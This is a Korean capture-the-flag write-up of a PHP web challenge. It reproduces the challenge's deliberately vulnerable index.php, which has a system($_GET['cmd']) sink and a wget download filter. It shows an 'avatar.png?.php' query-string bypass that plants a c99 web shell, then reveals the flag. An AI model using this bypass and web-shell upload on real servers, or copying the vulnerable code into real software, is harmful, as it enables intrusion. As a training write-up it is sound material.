문제는 위 캡쳐에 있는데로 'The flag reader is on /.' 라는 힌트와 함께 문제 사이트 링크와 index.php의 소스코드가 함께 주어졌다.

소스 코드는 아래와 같다. 

<?php
error_reporting(E_ALL);
ini_set('display_errors', 'On');
ini_set('allow_url_fopen', 'On'); // yo!

$session_path = '';

	class MyClass { function __wakeup() { system($_GET['cmd']); // come onn!
	} }

	function onShutdown() {
		global $session_path;
		file_put_contents($session_path. '/pickle', serialize($_SESSION));
	}

	session_start();
	register_shutdown_function('onShutdown');

	function set_context($id) {
		global $_SESSION, $session_path;

		$session_path=getcwd() . '/data/'.$id;
		if(!is_dir($session_path)) mkdir($session_path);
		chdir($session_path);

		if(!is_file('pickle')) $_SESSION = array();
		else $_SESSION = unserialize(file_get_contents('pickle'));
	}

	function download_image($url) {
		$url = parse_url($origUrl=$url);
		if(isset($url['scheme']) && $url['scheme'] == 'http')
			if($url['path'] == '/avatar.png') {
				system('/usr/bin/wget '.escapeshellarg($origUrl));
			}
	}

	if(!isset($_SESSION['id'])) {
		$sessId = bin2hex(openssl_random_pseudo_bytes(10));
		$_SESSION['id'] = $sessId;
	} else {
		$sessId = $_SESSION['id'];
	}
	session_write_close();
	set_context($sessId);
	if(isset($_POST['image'])) download_image($_POST['image']);
?>

<img src="/data/<?php echo $sessId; ?>/avatar.png" width=80 height=80 />

 소스코드 분석 후 4번 라인에 있는 'allow_url_fopen' 설정이 활성 화 되어 있는 점을 보아 LFI(Local File Inclue) 취약점 또는 RFI(Remote File Include) 취약점이 존재할 것으로 예상했다.

또한 8번 라인의 'come onn!' 의 주석이 힌트라 생각하여 해당 소스 코드의 'cmd' 파라메터를 이용하여 시스템 명령어를 실행하여 flag를 알아내는 것으로 문제를 풀어 나갔다.  system 함수는 __wakeup() 함수 안에서 실행 되는데 이 함수는 검색 결과 PHP CLASS의 Magic Function 중 한 종류로 생성자, 소멸자와 같은 특정 조건 시 자동으로 호출 되는 함수로써 unserialize 함수 호출 후 자동으로 호출 되는 함수이다. 

하지만 __wakeup() 함수는 MyClass 클래스의 Magic Function이고 unserialize 함수는 MyClass와는 연관이 없어 __wakeup() 함수는 호출 되지 않았다.

* 이 부분이 문제의 포인트라 생각하여 구글링을 통해 PHP Object Injection 취약점을 이용해야 할 것이라 예상했지만  직접 서버 구성 후 확인 해 보니 절대 호출 되지 않는 부분이었다. 엄청난 삽질과 시간을 낭비 함....... 이 문제의 함정이었던 것 같다...--


사이트를 들어가 보면 아래와 같이 보여진다. 



페이지는 index.php 소스코드의 49번 라인에 있는 img 태그가 실행 된 결과가 보여 지는데 해당 이미지 태그의 src를 확인해 보면 data 디렉토리안에 사용자의 세션아이디로 디렉토리가 생기고 그 안에있는 avatar.png 그림파일을 불러오는 img 태그로 확인이 되었다. 하지만 해당 경로에 이미지가 없어 엑박이 뜨는것을 확인 할 수 있었다. 


  

url의 avatar.png를 지우고 요청 해본 결과 디렉토리 리스팅이 가능하였고 디렉토리에는 소스코드의 19번 라인에 있는 set_context 함수 호출의 결과로 생성 된 pickle 파일만 존재 했으며 이 파일에는 세션 변수의 값들이 13번 라인의 serialize 함수 호출의 결과로 직렬 화 되어 해당 파일에 저장되었다. 파일의 내용은 세션 변수의 값이 없어 존재 하지 않았다.



다시 소스 코드를 분석 해보니 30번 라인의 download_image 함수에서 post방식으로 넘어온 image 파라메터의 값을 parse_url 함수로 파싱하여 wget을 실행하는 것을 확인 할 수 있었고 RFI 취약점을 이용하여 웹쉘을 업로드하는 쪽으로 문제를 풀어 나갔다. 

download_image 함수에서 인자로 넘어온 url을 필터링 하는 부분이 있는데 이 부분이 이 문제의 핵심 포인트이었다. 

필터링 내용은 전달된 인자의 url은 'http' Scheme을 가져야 하고 '/avatar.png' Path를 가져야 했다. 

우선 업로드가 잘되는지 구글링을 통해 'http://www.xxxx.xxx/avatar.png' 형태의 이미지를 찾았고, 업로드 해본 결과 정상적으로 업로드 되는 것을 확인 하였다.

하지만 문제는 /avatar.png 라는 Path를 우회하는 것이었는데 처음에는 우회를 위해 parse_url, escapeshellarg 함수의 취약점을 찾아 보았으나 이 또한 엄청난 삽질 이었고, parse_url 함수를 확인해 본 결과 아래와 같이 url이 파싱됨을 확인 하였다. 

 


해당 함수를 확인한 후 다운로드 파일의 Path만 필터링할 뿐 확장자는 필터링 하지 않는다는 점을 깨닫고 이 점을 포인트로 하여 문제를 풀어 나갔다.

우선 'http://www.test.com/avatar.png'라는 url을 전송하면 

[scheme] => http

[host] => www.test.com

[path] => /avatar.png

위 처럼 파싱되는 것을 확인 하였고 곰곰히 생각해본 결과 파싱되는 값 중 query 값을 이용하면 될 것 같아 아래와 같이 입력을 해보았다.

$url = 'http://www.test.com/avatar.png?.php

[scheme] => http

[host] => www.test.com

[path] => /avatar.png

[query] => .php

 위와 같이 입력했을 시 해당 함수의 필터링을 우회 하는것을 확인 하였다. :)


 flag를 획득하기 위해 웹서버를 만들어 웹쉘을 avatar.png라는 이름으로 변경하고 위와 같은 형태의 url을 image 파라메터로 전송하였다.    


웹쉘이 필터링을 우회하여  업로드 된 것을 확인 하였고 웹쉘을 실행하여 flag를 찾아 보았다.

* 웹쉘을 간단히 코딩하여 사용하려고 하였으나 너무 삽질을 많이 하여 지친 관계로 c99웹쉘을 사용 하였다..;; 



flag는 문제의 힌트대로 '/' 경로에 존재 하였다.

하지만 읽혀지지 않았다. --' 

권한을 확인 해보니 '--x--x---' 소유자와 그룹에 대해 실행 권한 밖에 주어지지 않았고, 현재 웹쉘의 권한은 그룹의 권한을 가지므로 실행할 수 있음을 확인 하고 웹쉘의 execute 기능을 이용하여 flag를 실행할 수 있었다.


 


flag는 '1-day is not trendy enough' 이었다. :)



 

+ Recent posts